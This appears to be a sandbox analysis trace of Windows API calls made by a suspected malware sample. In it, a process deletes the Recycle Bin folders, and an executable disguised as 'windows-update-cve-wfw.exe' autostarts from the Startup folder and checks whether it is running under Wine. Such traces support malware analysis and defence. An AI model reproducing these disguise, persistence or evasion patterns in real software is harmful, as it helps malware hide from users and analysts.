	[0069.037] FindNextFileW (in: hFindFile=0x1bc48ed16a0, lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="..", cAlternateFileName="")) returned 1
	[0069.037] FindNextFileW (in: hFindFile=0x1bc48ed16a0, lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0069.037] malloc (_Size=0xffce) returned 0x1bc49010000
	[0069.037] ??_V@YAXPEAX@Z () returned 0x1bc49010000
	[0069.038] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-18", lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0x1bc48ed1700
	[0069.038] FindClose (in: hFindFile=0x1bc48ed1700 | out: hFindFile=0x1bc48ed1700) returned 1
	[0069.038] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-18\\*", lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc48ed1700
	[0069.038] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.039] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0069.039] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0
	[0069.039] NtOpenFile (in: FileHandle=0x841b4fe810, DesiredAccess=0x10000, ObjectAttributes=0x841b4fe7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\$RECYCLE.BIN\\S-1-5-18\\desktop.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x841b4fe780, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x841b4fe810*=0x90, IoStatusBlock=0x841b4fe780*(Status=0x0, Pointer=0x7ff700000000, Information=0x1)) returned 0x0
	[0069.039] RtlReleaseRelativeName () returned 0x0
	[0069.039] RtlFreeAnsiString (AnsiString="\\") 
	[0069.039] NtQueryVolumeInformationFile (in: FileHandle=0x90, IoStatusBlock=0x841b4fe688, FsInformation=0x841b4fe680, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x841b4fe688, FsInformation=0x841b4fe680) returned 0x0
	[0069.039] CloseHandle (hObject=0x90) returned 1
	[0069.040] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0069.040] FindClose (in: hFindFile=0x1bc48ed1700 | out: hFindFile=0x1bc48ed1700) returned 1
	[0069.040] GetFullPathNameW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-18", nBufferLength=0x4, lpBuffer=0x841b4fe7d8, lpFilePart=0x841b4fe7d0 | out: lpBuffer="", lpFilePart=0x841b4fe7d0*=0x0) returned 0x1a
	[0069.040] RemoveDirectoryW (lpPathName="C:\\\\$RECYCLE.BIN\\S-1-5-18" (normalized: "c:\\$recycle.bin\\s-1-5-18")) returned 1
	[0069.041] ??_V@YAXPEAX@Z () returned 0x1
	[0069.041] FindNextFileW (in: hFindFile=0x1bc48ed16a0, lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0069.041] malloc (_Size=0xffce) returned 0x1bc49010000
	[0069.041] ??_V@YAXPEAX@Z () returned 0x1bc49010000
	[0069.041] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1", lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0x1bc48ed1700
	[0069.041] FindClose (in: hFindFile=0x1bc48ed1700 | out: hFindFile=0x1bc48ed1700) returned 1
	[0069.041] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1\\*", lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc48ed1700
	[0069.042] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.042] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0069.042] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0
	[0069.042] NtOpenFile (in: FileHandle=0x841b4fe810, DesiredAccess=0x10000, ObjectAttributes=0x841b4fe7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\$RECYCLE.BIN\\S-1-5-~1\\desktop.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x841b4fe780, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x841b4fe810*=0x90, IoStatusBlock=0x841b4fe780*(Status=0x0, Pointer=0x7ff700000000, Information=0x1)) returned 0x0
	[0069.042] RtlReleaseRelativeName () returned 0x0
	[0069.042] RtlFreeAnsiString (AnsiString="\\") 
	[0069.042] NtQueryVolumeInformationFile (in: FileHandle=0x90, IoStatusBlock=0x841b4fe688, FsInformation=0x841b4fe680, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x841b4fe688, FsInformation=0x841b4fe680) returned 0x0
	[0069.042] CloseHandle (hObject=0x90) returned 1
	[0069.046] FindNextFileW (in: hFindFile=0x1bc48ed1700, lpFindFileData=0x841b4fea60 | out: lpFindFileData=0x841b4fea60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0069.046] FindClose (in: hFindFile=0x1bc48ed1700 | out: hFindFile=0x1bc48ed1700) returned 1
	[0069.046] GetFullPathNameW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1", nBufferLength=0x4, lpBuffer=0x841b4fe7d8, lpFilePart=0x841b4fe7d0 | out: lpBuffer="", lpFilePart=0x841b4fe7d0*=0x0) returned 0x1a
	[0069.046] RemoveDirectoryW (lpPathName="C:\\\\$RECYCLE.BIN\\S-1-5-~1" (normalized: "c:\\$recycle.bin\\s-1-5-~1")) returned 1
	[0069.048] ??_V@YAXPEAX@Z () returned 0x1
	[0069.048] FindNextFileW (in: hFindFile=0x1bc48ed16a0, lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0069.048] FindClose (in: hFindFile=0x1bc48ed16a0 | out: hFindFile=0x1bc48ed16a0) returned 1
	[0069.048] GetFullPathNameW (in: lpFileName="C:\\\\$RECYCLE.BIN", nBufferLength=0x4, lpBuffer=0x841b4fecb8, lpFilePart=0x841b4fecb0 | out: lpBuffer="", lpFilePart=0x841b4fecb0*=0x0) returned 0x11
	[0069.048] RemoveDirectoryW (lpPathName="C:\\\\$RECYCLE.BIN" (normalized: "c:\\$recycle.bin")) returned 1
	[0069.048] ??_V@YAXPEAX@Z () returned 0x1
	[0069.049] GetProcessHeap () returned 0x1bc48ed0000
	[0069.049] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ed1660) returned 1
	[0069.049] GetProcessHeap () returned 0x1bc48ed0000
	[0069.049] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ed1600) returned 1
	[0069.049] ??_V@YAXPEAX@Z () returned 0x1
	[0069.049] ??_V@YAXPEAX@Z () returned 0x1
	[0069.049] _get_osfhandle (_FileHandle=1) returned 0x150
	[0069.049] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0069.049] _get_osfhandle (_FileHandle=1) returned 0x150
	[0069.049] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 0
	[0069.050] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0069.050] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 0
	[0069.050] GetConsoleOutputCP () returned 0x1b5
	[0069.053] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0069.053] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0069.057] exit (_Code=0) 

Thread:
	id = 34
	os_tid = 0x480


Process:
	id = "9"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x6d027000"
	os_pid = "0xeb8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x428"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 29
	os_tid = 0xec8


Thread:
	id = 30
	os_tid = 0xf44


Thread:
	id = 31
	os_tid = 0xd94


Thread:
	id = 32
	os_tid = 0xf80


Thread:
	id = 33
	os_tid = 0xf9c


Process:
	id = "10"
	image_name = "windows-update-cve-wfw.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"
	page_root = "0x4c451000"
	os_pid = "0xdd4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x9e4"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 38
	os_tid = 0xdd8

	[0210.371] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7fff4f780000
	[0210.371] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddDllDirectory") returned 0x7fff4c9b2300
	[0210.371] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddVectoredContinueHandler") returned 0x7fff4f8c0620
	[0210.371] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExA") returned 0x7fff4f79dfc0
	[0210.372] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExW") returned 0x7fff4f798f20
	[0210.372] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0211.835] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="SystemFunction036") returned 0x7fff4b711970
	[0211.863] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f830000
	[0211.863] GetProcAddress (hModule=0x7fff4f830000, lpProcName="NtWaitForSingleObject") returned 0x7fff4f8d5410
	[0211.863] GetProcAddress (hModule=0x7fff4f830000, lpProcName="NtQueryInformationProcess") returned 0x7fff4f8d56b0
	[0211.863] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4a300000
	[0211.886] GetProcAddress (hModule=0x7fff4a300000, lpProcName="timeBeginPeriod") returned 0x7fff4a301040
	[0211.886] GetProcAddress (hModule=0x7fff4a300000, lpProcName="timeEndPeriod") returned 0x7fff4a3028e0
	[0211.886] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4e0e0000
	[0211.891] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAGetOverlappedResult") returned 0x7fff4e0f3de0
	[0211.892] GetProcAddress (hModule=0x7fff4f830000, lpProcName="wine_get_version") returned 0x0
	[0211.892] SetErrorMode (uMode=0x2) returned 0x0
	[0211.892] SetErrorMode (uMode=0x8003) returned 0x2
	[0211.892] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x1149980) returned 0x1ea5a2b19d0
	[0211.893] RtlAddVectoredContinueHandler (First=0x1, Handler=0x11499a0) returned 0x1ea5a2b18e0
	[0211.893] RtlAddVectoredContinueHandler (First=0x0, Handler=0x11499c0) returned 0x1ea5a2b1a90
	[0211.894] SetConsoleCtrlHandler (HandlerRoutine=0x11499e0, Add=1) returned 1
	[0211.894] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0211.896] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x46569ffae8, lpSystemAffinityMask=0x46569ffae0 | out: lpProcessAffinityMask=0x46569ffae8, lpSystemAffinityMask=0x46569ffae0) returned 1
	[0211.896] GetSystemInfo (in: lpSystemInfo=0x46569ffb50 | out: lpSystemInfo=0x46569ffb50*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) 
	[0211.896] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1
	[0211.902] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea5a240000
	[0211.903] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ea5a280000
	[0211.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ea5a470000
	[0211.904] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ea5a600000
	[0211.941] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ea5ae00000
	[0211.948] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ea5ee00000
	[0212.011] SystemFunction036 (in: RandomBuffer=0x13b43b0, RandomBufferLength=0x8 | out: RandomBuffer=0x13b43b0) returned 1
	[0212.011] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000
	[0212.012] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea7ee00000
	[0212.014] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea5a570000
	[0212.014] VirtualAlloc (lpAddress=0x1ea5a280000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea5a280000
	[0212.015] VirtualAlloc (lpAddress=0x1ea5a4f0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea5a4f0000
	[0212.015] VirtualAlloc (lpAddress=0x1ea5aa06000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea5aa06000
	[0212.016] VirtualAlloc (lpAddress=0x1ea5ce30000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea5ce30000
	[0212.016] VirtualAlloc (lpAddress=0x1ea6ef80000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea6ef80000
	[0212.017] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea7f600000
	[0212.019] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea5a5a0000
	[0212.020] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea5a5b0000
	[0212.020] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000
	[0212.021] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000
	[0212.022] SystemFunction036 (in: RandomBuffer=0x13b4800, RandomBufferLength=0x80 | out: RandomBuffer=0x13b4800) returned 1
	[0212.022] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000
	[0212.022] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000
	[0212.024] GetEnvironmentStringsW () returned 0x1ea5a2b5150*
	[0212.024] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000
	[0212.024] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000
	[0212.025] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000
	[0212.025] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000
	[0212.025] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000
	[0212.026] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000
	[0212.026] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000
	[0212.027] VirtualAlloc (lpAddress=0xc000016000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000
	[0212.027] FreeEnvironmentStringsW (penv=0x1ea5a2b5150) returned 1
	[0212.027] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4bd00000
	[0212.031] GetProcAddress (hModule=0x7fff4bd00000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7fff4bd02240
	[0212.032] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0x46569ffa80, RegistrationHandle=0x46569ffa68 | out: RegistrationHandle=0x46569ffa68) returned 0x0
	[0212.034] VirtualAlloc (lpAddress=0xc000018000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000018000
	[0212.036] VirtualAlloc (lpAddress=0xc000022000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000022000
	[0212.036] VirtualAlloc (lpAddress=0xc000024000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000
	[0212.037] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x46569ffad8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x46569ffad8*=0xd0) returned 1
	[0212.037] VirtualQuery (in: lpAddress=0x46569ffaf8, lpBuffer=0x46569ffaf8, dwLength=0x30 | out: lpBuffer=0x46569ffaf8*(BaseAddress=0x46569ff000, AllocationBase=0x4656800000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0212.037] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000
	[0212.038] VirtualAlloc (lpAddress=0xc00002e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002e000
	[0212.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002c400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0212.039] CloseHandle (hObject=0xd4) returned 1
	[0212.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002c800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0212.040] CloseHandle (hObject=0xd4) returned 1
	[0212.040] VirtualAlloc (lpAddress=0xc000030000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000030000
	[0212.042] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000
	[0212.043] VirtualAlloc (lpAddress=0xc00003a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003a000
	[0212.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002cc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0212.043] CloseHandle (hObject=0xd4) returned 1
	[0212.043] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4
	[0212.044] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8
	[0212.044] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0212.060] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000
	[0212.068] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000
	[0212.069] VirtualAlloc (lpAddress=0xc00008a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008a000
	[0212.070] VirtualAlloc (lpAddress=0xc00008c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008c000
	[0212.070] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000
